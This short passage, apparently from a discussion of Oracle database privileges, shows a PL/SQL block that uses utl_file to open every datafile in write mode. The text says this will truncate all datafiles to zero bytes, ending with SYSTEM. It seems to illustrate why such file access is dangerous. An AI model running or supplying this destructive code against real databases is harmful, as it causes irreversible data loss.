In particular,
declare
f utl_file.file_type;
begin
for i in ( select name from v$datafile
order by file# desc ) loop
f := utl_file.fopen(
substr(i.name,1,instr(i.name,'/',-1)),
substr(i.name,instr(i.name,'/',-1)+1),
'W');
utl_file.fclose(f);
end loop;
end;
/
which (pending fixing any compile errors) will do its
best to reduce all datafiles in the database to 0
bytes finishing with SYSTEM.
